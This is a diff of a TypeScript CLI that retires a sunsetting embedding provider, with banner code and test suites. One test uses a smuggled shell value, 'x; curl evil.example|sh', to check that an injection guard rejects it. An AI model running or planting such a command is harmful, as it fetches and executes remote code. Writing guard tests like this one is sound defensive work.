|
||||
/** Programmatic resume helper used by the CLI's --resume flag. */
|
||||
export async function runResume(engine: BrainEngine): Promise<ApplyResult> {
|
||||
return resumeRetrievalUpgrade(engine);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Banner formatting (pure; testable)
|
||||
// ============================================================================
|
||||
|
||||
/**
|
||||
* Format the upgrade banner per D10 (two-line cost split) + C2 (privacy
|
||||
* callout). Pure — returns a string; the caller emits to stderr.
|
||||
*/
|
||||
export function formatBanner(plan: RetrievalUpgradeState): string {
|
||||
const lines: string[] = [];
|
||||
lines.push('────────────────────────────────────────────────────────────');
|
||||
lines.push('v0.36.0.0 ships a new default: ZeroEntropy');
|
||||
lines.push('');
|
||||
lines.push('Real-corpus benchmark across 20 queries on a 17K-page brain:');
|
||||
lines.push(' • Wins 11/20 queries head-to-head (OpenAI 6, Voyage 4)');
|
||||
lines.push(' • Fastest: 442ms vs OpenAI 973ms (2.2× faster)');
|
||||
lines.push(' • Cheapest: $0.05/M tokens vs OpenAI $0.13/M (2.6× cheaper)');
|
||||
lines.push(' (sale rate $0.025/M may be promotional, subject to change)');
|
||||
lines.push(' • zerank-2 reshuffles 60% of top-1 results (real value)');
|
||||
lines.push(' • Only 10–18% overlap between providers — they see different');
|
||||
lines.push(' things, so a pair compounds');
|
||||
lines.push('');
|
||||
lines.push(`Your current setup: ${plan.current_embedding_model} (${plan.current_dim}d)`);
|
||||
lines.push(`Target: ${ZE_TARGET_EMBEDDING_MODEL} (${ZE_TARGET_EMBEDDING_DIM}d via Matryoshka)`);
|
||||
lines.push('');
|
||||
|
||||
// D10: two-line cost split — schema change vs re-embed.
|
||||
const dollars = plan.est_cost_usd > 0 ? `~$${plan.est_cost_usd.toFixed(2)}` : 'estimate unavailable';
|
||||
const pages = Math.max(plan.pages_pending_chunker, plan.pages_pending_dim);
|
||||
lines.push(`Schema change: ~${plan.est_schema_change_seconds}s (drops + recreates embedding column with new index)`);
|
||||
lines.push(`Re-embed: ~${plan.est_minutes}min and ${dollars} for ${pages.toLocaleString()} pages`);
|
||||
lines.push(' (runs via `gbrain embed --stale` or autopilot — you can walk away)');
|
||||
|
||||
// C2: privacy callout for the balanced-mode reranker flip.
|
||||
lines.push('');
|
||||
lines.push('Heads-up: reranking on this default sends your query and top-30');
|
||||
lines.push('search snippets to api.zeroentropy.dev. Disable any time with');
|
||||
lines.push('`gbrain config set search.reranker.enabled false`.');
|
||||
|
||||
lines.push('');
|
||||
lines.push('Options:');
|
||||
lines.push(' [Enter] Stay on current provider for now (default — safe)');
|
||||
lines.push(' s Switch to ZeroEntropy (RECOMMENDED)');
|
||||
lines.push(' l Decide later (ask me again on next upgrade)');
|
||||
lines.push(' n Never ask again');
|
||||
lines.push('────────────────────────────────────────────────────────────');
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
/** Cost-warning prompt before --undo runs. D16 symmetric UX. */
|
||||
export function formatUndoBanner(snapshot: ZeSwitchSnapshot, pageCount: number): string {
|
||||
const lines: string[] = [];
|
||||
lines.push('────────────────────────────────────────────────────────────');
|
||||
lines.push('Undo the v0.36.0.0 ZeroEntropy switch?');
|
||||
lines.push('');
|
||||
lines.push(`Will restore: ${snapshot.embedding_model} (${snapshot.embedding_dimensions}d)`);
|
||||
lines.push(` reranker_enabled = ${snapshot.search_reranker_enabled}`);
|
||||
if (snapshot.search_reranker_model) {
|
||||
lines.push(` reranker_model = ${snapshot.search_reranker_model}`);
|
||||
}
|
||||
lines.push('');
|
||||
lines.push(`This will re-embed ~${pageCount.toLocaleString()} pages at the prior width.`);
|
||||
lines.push('Same re-embed bill as the forward switch (in reverse).');
|
||||
lines.push('');
|
||||
lines.push(' s Confirm undo');
|
||||
lines.push(' [any] Abort');
|
||||
lines.push('────────────────────────────────────────────────────────────');
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Keypress reader (mockable for tests)
|
||||
// ============================================================================
|
||||
|
||||
async function defaultReadKey(): Promise<string> {
|
||||
return new Promise((resolve) => {
|
||||
const stdin = process.stdin;
|
||||
stdin.setRawMode?.(true);
|
||||
stdin.resume();
|
||||
stdin.setEncoding('utf8');
|
||||
const onData = (chunk: string) => {
|
||||
stdin.setRawMode?.(false);
|
||||
stdin.pause();
|
||||
stdin.removeListener('data', onData);
|
||||
// Strip trailing newline; treat Enter as empty string.
|
||||
resolve(chunk === '\r' || chunk === '\n' || chunk === '\r\n' ? '' : chunk.replace(/[\r\n]/g, ''));
|
||||
};
|
||||
stdin.on('data', onData);
|
||||
});
|
||||
}
|
||||
@@ -1,6 +1,6 @@
|
||||
# gbrain agent workspace — template
|
||||
|
||||
<!-- gbrain-template-stamp: 0.46.11.0 -->
|
||||
<!-- gbrain-template-stamp: 0.46.12.0 -->
|
||||
|
||||
This repository is the **"Use this template"** distribution artifact for a
|
||||
[gbrain](https://github.com/garrytan/gbrain) personal-agent workspace — the same
|
||||
|
||||
@@ -152,6 +152,9 @@ describe('canonical migration command (single home: ai/defaults.ts)', () => {
|
||||
'src/commands/upgrade.ts',
|
||||
'src/core/ze-exposure.ts',
|
||||
'src/commands/ze-switch.ts',
|
||||
// Interim ZE cleanup: providers env prints the off-ramp for sunsetting
|
||||
// recipes instead of the signup funnel.
|
||||
'src/commands/providers.ts',
|
||||
];
|
||||
for (const rel of consumers) {
|
||||
const text = readFileSync(join(import.meta.dir, '..', rel), 'utf-8');
|
||||
|
||||
@@ -29,6 +29,9 @@ const HELP_WITHOUT_BRAIN = [
|
||||
'jobs',
|
||||
// #4152: dream answers --help (and the retriage subverb help) engine-free.
|
||||
'dream',
|
||||
// ZE interim cleanup: the retired ze-switch shim answers --help engine-free
|
||||
// (truthful sunset copy + the canonical migration command).
|
||||
'ze-switch',
|
||||
];
|
||||
|
||||
/**
|
||||
|
||||
@@ -52,7 +52,7 @@ describe('checkZeEmbeddingHealth', () => {
|
||||
expect(check.message).toContain('not ZeroEntropy');
|
||||
});
|
||||
|
||||
test('on ZE + no key: warns with setup hint', async () => {
|
||||
test('on ZE + no key: warns migration-first (no signup funnel)', async () => {
|
||||
configureGateway({
|
||||
embedding_model: 'zeroentropyai:zembed-1',
|
||||
embedding_dimensions: 1280,
|
||||
@@ -65,7 +65,10 @@ describe('checkZeEmbeddingHealth', () => {
|
||||
const check = await checkZeEmbeddingHealth(engine);
|
||||
expect(check.status).toBe('warn');
|
||||
expect(check.message).toContain('ZEROENTROPY_API_KEY');
|
||||
expect(check.message).toContain('zeroentropy.dev');
|
||||
// Migration-first: the fix for a missing key on a sunsetting provider
|
||||
// is the off-ramp, never a signup link.
|
||||
expect(check.message).toContain('migrate embeddings');
|
||||
expect(check.message).not.toContain('dashboard.zeroentropy.dev');
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
+108
-2
@@ -2,11 +2,12 @@
|
||||
* `gbrain providers` — pure formatter + envReady tests.
|
||||
*
|
||||
* `runTest` and `runExplain` aren't covered here because they touch the
|
||||
* gateway / loadConfig; E2E exercises those.
|
||||
* gateway / loadConfig; E2E exercises those. The sunset-aware env block and
|
||||
* the shared marker ARE covered — they're pure formatters by design.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from 'bun:test';
|
||||
import { formatRecipeTable, envReady } from '../src/commands/providers.ts';
|
||||
import { formatRecipeTable, formatEnvOutput, sunsetMarker, sunsetMarkerText, envReady } from '../src/commands/providers.ts';
|
||||
import { listRecipes, getRecipe } from '../src/core/ai/recipes/index.ts';
|
||||
import type { Recipe } from '../src/core/ai/types.ts';
|
||||
|
||||
@@ -98,3 +99,108 @@ describe('formatRecipeTable', () => {
|
||||
expect(lines[3]).toContain('voyage:voyage-4');
|
||||
});
|
||||
});
|
||||
|
||||
describe('sunsetMarker (the one shared deprecation string)', () => {
|
||||
test('null for a living provider', () => {
|
||||
expect(sunsetMarker(getRecipe('voyage')!)).toBeNull();
|
||||
expect(sunsetMarker(getRecipe('openai')!)).toBeNull();
|
||||
});
|
||||
|
||||
test('marker for a sunsetting provider names the date and replacement', () => {
|
||||
const m = sunsetMarker(getRecipe('zeroentropyai')!);
|
||||
expect(m).toContain('DEPRECATED');
|
||||
expect(m).toContain('2026-09-04');
|
||||
expect(m).toContain('voyage:voyage-4');
|
||||
});
|
||||
|
||||
test('no replacement metadata → date-only marker, never "undefined"', () => {
|
||||
const m = sunsetMarker({ sunset: { date: '2027-01-01', message: 'x' } } as Pick<Recipe, 'sunset'>);
|
||||
expect(m).toContain('2027-01-01');
|
||||
expect(m).not.toContain('undefined');
|
||||
});
|
||||
|
||||
test('sunsetMarkerText primitive (explain-row consumer): with and without replacement', () => {
|
||||
expect(sunsetMarkerText('2026-09-04', 'voyage:voyage-4')).toBe(
|
||||
'⚠ DEPRECATED — hosted API ends 2026-09-04; use voyage:voyage-4',
|
||||
);
|
||||
expect(sunsetMarkerText('2026-09-04')).toBe('⚠ DEPRECATED — hosted API ends 2026-09-04');
|
||||
expect(sunsetMarkerText('2026-09-04', null)).not.toContain('undefined');
|
||||
});
|
||||
});
|
||||
|
||||
describe('formatEnvOutput (providers env <id>)', () => {
|
||||
test('sunsetting provider: DEPRECATED + migrate command, NO signup funnel', () => {
|
||||
const ze = getRecipe('zeroentropyai')!;
|
||||
const out = formatEnvOutput(ze, {});
|
||||
expect(out).toContain('DEPRECATED');
|
||||
expect(out).toContain('2026-09-04');
|
||||
expect(out).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024 --dry-run');
|
||||
// The signup funnel must be gone three weeks before shutdown:
|
||||
expect(out).not.toContain('dashboard.zeroentropy.dev');
|
||||
expect(out).not.toContain('Get an API key');
|
||||
// Key STATUS still renders so existing users can see what's configured:
|
||||
expect(out).toContain('ZEROENTROPY_API_KEY');
|
||||
expect(out).toContain('✗ not set');
|
||||
});
|
||||
|
||||
test('sunsetting provider with a key set still shows ✓ set', () => {
|
||||
const ze = getRecipe('zeroentropyai')!;
|
||||
const out = formatEnvOutput(ze, { ZEROENTROPY_API_KEY: 'sk-fake' });
|
||||
expect(out).toContain('✓ set');
|
||||
expect(out).toContain('DEPRECATED');
|
||||
});
|
||||
|
||||
test('living provider control: setup funnel intact', () => {
|
||||
const voyage = getRecipe('voyage')!;
|
||||
const out = formatEnvOutput(voyage, {});
|
||||
expect(out).not.toContain('DEPRECATED');
|
||||
expect(out).toContain('Setup:');
|
||||
});
|
||||
|
||||
test('sunset recipe without replacement metadata prints no "undefined"', () => {
|
||||
const fake = {
|
||||
id: 'fake-sunset',
|
||||
name: 'Fake Sunset',
|
||||
tier: 'native',
|
||||
touchpoints: {},
|
||||
auth_env: { required: ['FAKE_KEY'] },
|
||||
sunset: { date: '2027-01-01', message: 'Fake is shutting down.' },
|
||||
} as unknown as Recipe;
|
||||
const out = formatEnvOutput(fake, {});
|
||||
expect(out).toContain('DEPRECATED');
|
||||
expect(out).not.toContain('undefined');
|
||||
expect(out).not.toContain('Replacement:');
|
||||
expect(out).toContain('migrate embeddings');
|
||||
});
|
||||
|
||||
test('sunset block positively asserts message + Replacement line (ZE fixture)', () => {
|
||||
const out = formatEnvOutput(getRecipe('zeroentropyai')!, {});
|
||||
expect(out).toContain('ZeroEntropy is shutting down its hosted API.');
|
||||
expect(out).toContain('Replacement: voyage:voyage-4 (embedding), voyage:rerank-2.5 (reranker)');
|
||||
});
|
||||
|
||||
test('keyless recipe (ollama): Required: (none) arm renders', () => {
|
||||
const ollama = getRecipe('ollama')!;
|
||||
const out = formatEnvOutput(ollama, {});
|
||||
expect(out).toContain('Required: (none)');
|
||||
expect(out).not.toContain('DEPRECATED');
|
||||
});
|
||||
|
||||
test('optional-env arm renders when a recipe declares optional vars', () => {
|
||||
const fake = {
|
||||
id: 'fake-optional',
|
||||
name: 'Fake Optional',
|
||||
tier: 'native',
|
||||
touchpoints: {},
|
||||
auth_env: { required: ['FAKE_KEY'], optional: ['FAKE_ORG'], setup_url: 'https://example.com' },
|
||||
setup_hint: 'Get a key at example.com.',
|
||||
} as unknown as Recipe;
|
||||
const out = formatEnvOutput(fake, { FAKE_ORG: 'org-1' });
|
||||
expect(out).toContain('Optional:');
|
||||
expect(out).toContain('FAKE_ORG');
|
||||
expect(out).toContain('✓ set');
|
||||
// Living provider keeps its funnel:
|
||||
expect(out).toContain('Setup: https://example.com');
|
||||
expect(out).toContain('Get a key at example.com.');
|
||||
});
|
||||
});
|
||||
|
||||
+274
-128
@@ -1,33 +1,38 @@
|
||||
/**
|
||||
* v0.46.3 — `gbrain ze-switch` CLI tests (post-sunset-refusal contract).
|
||||
* `gbrain ze-switch` — refusal/redirect shim contract.
|
||||
*
|
||||
* ZeroEntropy shuts down 2026-09-04, so switching a brain ONTO it is
|
||||
* disabled. Pins:
|
||||
* - forward switch (bare / --non-interactive / --force) REFUSES, exit 1,
|
||||
* with the migrate-embeddings escape route in the message
|
||||
* - --resume ALSO refuses (resuming a half-applied forward switch would
|
||||
* strand the brain on the dying provider)
|
||||
* - --json refusal envelope: {status: 'refused', reason: 'provider_sunset'}
|
||||
* - --dry-run still prints a read-only plan, changes nothing
|
||||
* - --undo still works (it moves brains OFF the provider) — snapshot seeded
|
||||
* directly since the forward path can no longer create one
|
||||
* - --help exits 0 without touching the engine
|
||||
* ZeroEntropy's hosted API shuts down 2026-09-04. The command is a pure shim:
|
||||
* every invocation refuses or redirects, nothing mutates the brain. Pins:
|
||||
* - --help exits 0 with truthful copy: the canonical migration command, the
|
||||
* sunset date, and NO forward-switch encouragement
|
||||
* - every non-help invocation exits 1 (bare, --dry-run, --resume,
|
||||
* --non-interactive, --force, flag combos)
|
||||
* - --json refusal envelope: {status: 'refused', reason: 'provider_sunset',
|
||||
* migrate: <canonical dry-run command>}
|
||||
* - --undo with a stored snapshot REDIRECTS: prints the exact migrate
|
||||
* command that returns the brain to its pre-switch provider, exit 1,
|
||||
* {status: 'redirected', undo_command} in --json — it does NOT act (the
|
||||
* retired undo action wrote DB-plane config the file-plane-canonical
|
||||
* runtime never read)
|
||||
* - --undo without a snapshot (or with a corrupt one) refuses
|
||||
* - retired flags are still parsed: they reach the refusal message, not a
|
||||
* pre-dispatch unknown-flag error (registry row keeps them)
|
||||
*
|
||||
* Engine lifecycle: one PGLite engine, state reset per test; process.exit is
|
||||
* intercepted via a stub.
|
||||
*/
|
||||
|
||||
import { describe, test, expect, beforeAll, afterAll, beforeEach } from 'bun:test';
|
||||
import { mkdtempSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { PGLiteEngine } from '../src/core/pglite-engine.ts';
|
||||
import { resetPgliteState } from './helpers/reset-pglite.ts';
|
||||
import { withEnv } from './helpers/with-env.ts';
|
||||
import { runZeSwitch } from '../src/commands/ze-switch.ts';
|
||||
import {
|
||||
KEY_APPLIED,
|
||||
KEY_REQUESTED,
|
||||
KEY_PREVIOUS_SNAPSHOT,
|
||||
ZE_TARGET_EMBEDDING_DIM,
|
||||
} from '../src/core/retrieval-upgrade-planner.ts';
|
||||
import { runZeSwitch, RETIRED_FLAGS, buildUndoCommands } from '../src/commands/ze-switch.ts';
|
||||
import { CLI_FLAG_REGISTRY } from '../src/core/cli-flag-registry.generated.ts';
|
||||
import { KEY_APPLIED, KEY_REQUESTED, KEY_PREVIOUS_SNAPSHOT } from '../src/core/retrieval-upgrade-planner.ts';
|
||||
|
||||
const REPO = new URL('..', import.meta.url).pathname;
|
||||
|
||||
let engine: PGLiteEngine;
|
||||
|
||||
@@ -88,27 +93,13 @@ function captureExit<T>(fn: () => Promise<T>): Promise<{ exitCode: number; stdou
|
||||
});
|
||||
}
|
||||
|
||||
async function seedPages(n: number) {
|
||||
for (let i = 0; i < n; i++) {
|
||||
await engine.putPage(`seed/page-${i}`, {
|
||||
title: `Seed ${i}`,
|
||||
compiled_truth: `Body text ${i} with enough chars to flow through cost math.`,
|
||||
timeline: '',
|
||||
type: 'note',
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
async function setLegacyConfig() {
|
||||
await engine.setConfig('embedding_model', 'openai:text-embedding-3-large');
|
||||
await engine.setConfig('embedding_dimensions', '1536');
|
||||
}
|
||||
|
||||
/** Seed the state a pre-v0.46.3 forward switch would have left behind, so the
|
||||
* --undo path (which must survive until the September removal) is testable
|
||||
* without the now-refused forward path. Mirrors applyRetrievalUpgrade's
|
||||
* snapshot + config writes (retrieval-upgrade-planner.ts). */
|
||||
async function seedAppliedSwitch() {
|
||||
/** Seed the snapshot a pre-v0.46.3 forward switch would have left behind. */
|
||||
async function seedAppliedSwitch(overrides: Record<string, unknown> = {}) {
|
||||
await engine.setConfig(
|
||||
KEY_PREVIOUS_SNAPSHOT,
|
||||
JSON.stringify({
|
||||
@@ -116,137 +107,292 @@ async function seedAppliedSwitch() {
|
||||
embedding_dimensions: 1536,
|
||||
search_reranker_enabled: false,
|
||||
search_reranker_model: null,
|
||||
...overrides,
|
||||
}),
|
||||
);
|
||||
await engine.setConfig(KEY_REQUESTED, 'true');
|
||||
await engine.setConfig(KEY_APPLIED, 'true');
|
||||
await engine.setConfig('embedding_model', 'zeroentropyai:zembed-1');
|
||||
await engine.setConfig('embedding_dimensions', String(ZE_TARGET_EMBEDDING_DIM));
|
||||
await engine.setConfig('embedding_dimensions', '1280');
|
||||
}
|
||||
|
||||
describe('--help', () => {
|
||||
test('exits 0 with usage text', async () => {
|
||||
const r = await captureExit(() => runZeSwitch(['--help'], engine));
|
||||
describe('--help (truthful, engine-free)', () => {
|
||||
test('exits 0 with the canonical migration command and the sunset date', async () => {
|
||||
// engine=null mirrors the dispatcher's SELF_HELP_WITHOUT_ENGINE path:
|
||||
// help must never touch the engine.
|
||||
const r = await captureExit(() => runZeSwitch(['--help'], null));
|
||||
expect(r.exitCode).toBe(0);
|
||||
expect(r.stdout).toContain('gbrain ze-switch');
|
||||
expect(r.stdout).toContain('--dry-run');
|
||||
expect(r.stdout).toContain('--undo');
|
||||
expect(r.stdout).toContain('RETIRED');
|
||||
expect(r.stdout).toContain('2026-09-04');
|
||||
expect(r.stdout).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
|
||||
expect(r.stdout).toContain('skills/migrations/v0.46.3.0.md');
|
||||
// The hostile-QA negative: the old encouraging sentence must never return.
|
||||
expect(r.stdout).not.toContain('Switch the brain\'s embedding + reranker defaults to ZeroEntropy');
|
||||
});
|
||||
});
|
||||
|
||||
describe('--dry-run (read-only, still allowed)', () => {
|
||||
test('human output prints plan, changes nothing', async () => {
|
||||
await setLegacyConfig();
|
||||
await seedPages(150);
|
||||
describe('every non-help invocation refuses (exit 1, nothing changes)', () => {
|
||||
const refusedInvocations: string[][] = [
|
||||
[],
|
||||
['--dry-run'],
|
||||
['--resume'],
|
||||
['--non-interactive'],
|
||||
['--force'],
|
||||
['--yes'],
|
||||
['--non-interactive', '--ignore-missing-key'],
|
||||
['--ignore-env-override'],
|
||||
// The old gate's bypass combos (dry-run/undo used to pass): now refused
|
||||
// or redirected, never silently ignored.
|
||||
['--dry-run', '--resume'],
|
||||
['--confirm-reembed'],
|
||||
];
|
||||
|
||||
const r = await captureExit(() => runZeSwitch(['--dry-run'], engine));
|
||||
expect(r.exitCode).toBe(0);
|
||||
expect(r.stdout).toContain('Current model');
|
||||
expect(r.stdout).toContain('Target model');
|
||||
// Nothing changed:
|
||||
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('forward switch — REFUSED (provider sunset)', () => {
|
||||
test('--non-interactive refuses with exit 1 and the escape route', async () => {
|
||||
await setLegacyConfig();
|
||||
await seedPages(150);
|
||||
await withEnv({ ZEROENTROPY_API_KEY: 'sk-fake' }, async () => {
|
||||
const r = await captureExit(() => runZeSwitch(['--non-interactive'], engine));
|
||||
for (const args of refusedInvocations) {
|
||||
test(`ze-switch ${args.join(' ') || '(bare)'} refuses`, async () => {
|
||||
await setLegacyConfig();
|
||||
const r = await captureExit(() => runZeSwitch(args, engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('2026-09-04');
|
||||
expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4');
|
||||
// Nothing was applied:
|
||||
expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
|
||||
// Nothing was applied or mutated:
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
|
||||
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
test('--ignore-missing-key does not bypass the refusal', async () => {
|
||||
test('--json refusal envelope carries reason provider_sunset + the migrate command', async () => {
|
||||
await setLegacyConfig();
|
||||
await seedPages(150);
|
||||
const r = await captureExit(() =>
|
||||
runZeSwitch(['--non-interactive', '--ignore-missing-key'], engine),
|
||||
);
|
||||
const r = await captureExit(() => runZeSwitch(['--dry-run', '--json'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('refused');
|
||||
expect(env.reason).toBe('provider_sunset');
|
||||
expect(env.migrate).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
|
||||
// The retired dry-run plan envelope is gone for good:
|
||||
expect(env.status).not.toBe('planned');
|
||||
expect(env.plan).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
test('--force does not bypass the refusal either', async () => {
|
||||
await setLegacyConfig();
|
||||
const r = await captureExit(() => runZeSwitch(['--force'], engine));
|
||||
describe('--undo (redirect: prints the return-path command, never acts)', () => {
|
||||
test('with a snapshot: prints the exact migrate command, exit 1, config untouched', async () => {
|
||||
await seedAppliedSwitch();
|
||||
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
|
||||
expect(r.stderr).toContain(
|
||||
'gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536 --reranker off --dry-run',
|
||||
);
|
||||
// Guidance only — the brain still points at ZE until the user runs it:
|
||||
expect(await engine.getConfig('embedding_model')).toBe('zeroentropyai:zembed-1');
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
|
||||
});
|
||||
|
||||
test('--json refusal envelope carries reason provider_sunset', async () => {
|
||||
await setLegacyConfig();
|
||||
const r = await captureExit(() =>
|
||||
runZeSwitch(['--non-interactive', '--ignore-missing-key', '--json'], engine),
|
||||
);
|
||||
test('with a snapshot carrying a reranker model: folds --reranker <model> in', async () => {
|
||||
await seedAppliedSwitch({ search_reranker_enabled: true, search_reranker_model: 'voyage:rerank-2.5' });
|
||||
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('--reranker voyage:rerank-2.5');
|
||||
});
|
||||
|
||||
test('enabled:false WINS over a lingering model id — prints --reranker off', async () => {
|
||||
// The pre-switch brain had reranking disabled with a model still set (the
|
||||
// documented set-model-first intermediate state). `--reranker <model>`
|
||||
// would re-enable it; fidelity demands off.
|
||||
await seedAppliedSwitch({ search_reranker_enabled: false, search_reranker_model: 'voyage:rerank-2.5' });
|
||||
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('--reranker off');
|
||||
expect(r.stderr).not.toContain('--reranker voyage:rerank-2.5');
|
||||
});
|
||||
|
||||
test('enabled with no model: no --reranker token (migration default applies)', async () => {
|
||||
await seedAppliedSwitch({ search_reranker_enabled: true, search_reranker_model: null });
|
||||
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536');
|
||||
expect(r.stderr).not.toContain('--reranker');
|
||||
});
|
||||
|
||||
test('junk-typed dims in the snapshot degrade to the refusal (never printed)', async () => {
|
||||
await seedAppliedSwitch({ embedding_dimensions: 'abc' as unknown as number });
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('refused');
|
||||
expect(r.stdout).not.toContain('--dim abc');
|
||||
});
|
||||
|
||||
test('shell-metachar model id in the snapshot degrades to the refusal (injection guard)', async () => {
|
||||
await seedAppliedSwitch({ embedding_model: 'x; curl evil.example|sh' });
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('refused');
|
||||
expect(r.stdout).not.toContain('curl evil.example');
|
||||
});
|
||||
|
||||
test('a throwing engine.getConfig degrades to the refusal, not a crash', async () => {
|
||||
const broken = { getConfig: () => Promise.reject(new Error('db exploded')) } as unknown as PGLiteEngine;
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], broken));
|
||||
expect(r.exitCode).toBe(1);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('refused');
|
||||
expect(env.reason).toBe('provider_sunset');
|
||||
});
|
||||
|
||||
test('--resume of a half-applied forward switch ALSO refuses', async () => {
|
||||
await setLegacyConfig();
|
||||
await seedPages(150);
|
||||
// Simulate crash partway: requested but not applied.
|
||||
await engine.setConfig(KEY_REQUESTED, 'true');
|
||||
|
||||
const r = await captureExit(() => runZeSwitch(['--resume'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr + r.stdout).toContain('migrate embeddings');
|
||||
// Still not applied — resuming onto a dying provider is the harm the
|
||||
// refusal exists to prevent.
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBeNull();
|
||||
expect(await engine.getConfig('embedding_model')).toBe('openai:text-embedding-3-large');
|
||||
});
|
||||
});
|
||||
|
||||
describe('--undo (moves brains OFF the provider — still works)', () => {
|
||||
test('without snapshot exits 1', async () => {
|
||||
const r = await captureExit(() =>
|
||||
runZeSwitch(['--undo', '--non-interactive', '--confirm-reembed'], engine),
|
||||
);
|
||||
expect(r.exitCode).toBe(1);
|
||||
});
|
||||
|
||||
test('--non-interactive without --confirm-reembed exits 1', async () => {
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--non-interactive'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('confirm-reembed');
|
||||
});
|
||||
|
||||
test('with snapshot + --confirm-reembed: reverses the switch', async () => {
|
||||
await seedPages(150);
|
||||
test('--undo --json emits the redirected envelope with live + preview commands', async () => {
|
||||
await seedAppliedSwitch();
|
||||
expect(await engine.getConfig(KEY_APPLIED)).toBe('true');
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('redirected');
|
||||
expect(env.reason).toBe('provider_sunset');
|
||||
// undo_command is the LIVE command (an agent executing it must actually
|
||||
// migrate, not exit-0 on a preview); undo_preview carries --dry-run.
|
||||
expect(env.undo_command).toContain('gbrain migrate embeddings --to openai:text-embedding-3-large --dim 1536');
|
||||
expect(env.undo_command).not.toContain('--dry-run');
|
||||
expect(env.undo_preview).toContain('--dry-run');
|
||||
});
|
||||
|
||||
test('nested model ids (ollama tag / openrouter path) validate and redirect', async () => {
|
||||
await seedAppliedSwitch({ embedding_model: 'ollama:nomic-embed-text:v1.5' });
|
||||
let r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('--to ollama:nomic-embed-text:v1.5');
|
||||
|
||||
await seedAppliedSwitch({ embedding_model: 'openrouter:google/gemma-2-9b' });
|
||||
r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.stderr).toContain('--to openrouter:google/gemma-2-9b');
|
||||
});
|
||||
|
||||
test('string "false" reranker-enabled fails validation (would re-enable a paid reranker)', async () => {
|
||||
await seedAppliedSwitch({ search_reranker_enabled: 'false' as unknown as boolean, search_reranker_model: 'voyage:rerank-2.5' });
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(JSON.parse(r.stdout).status).toBe('refused');
|
||||
});
|
||||
|
||||
test('--json=true spelling is honored (mirrors cli.ts convention)', async () => {
|
||||
const r = await captureExit(() => runZeSwitch(['--dry-run', '--json=true'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('refused');
|
||||
});
|
||||
|
||||
test('without a snapshot: refuses with the canonical migration', async () => {
|
||||
const r = await captureExit(() => runZeSwitch(['--undo'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
expect(r.stderr).toContain('No prior switch snapshot recorded');
|
||||
expect(r.stderr).toContain('gbrain migrate embeddings --to voyage:voyage-4 --dim 1024');
|
||||
});
|
||||
|
||||
test('with a corrupt snapshot: degrades to the refusal, no crash', async () => {
|
||||
await engine.setConfig(KEY_PREVIOUS_SNAPSHOT, '{not json');
|
||||
const r = await captureExit(() => runZeSwitch(['--undo', '--json'], engine));
|
||||
expect(r.exitCode).toBe(1);
|
||||
const env = JSON.parse(r.stdout);
|
||||
expect(env.status).toBe('refused');
|
||||
expect(env.reason).toBe('provider_sunset');
|
||||
});
|
||||
|
||||
test('legacy scripted undo spelling gets guidance, not action', async () => {
|
||||
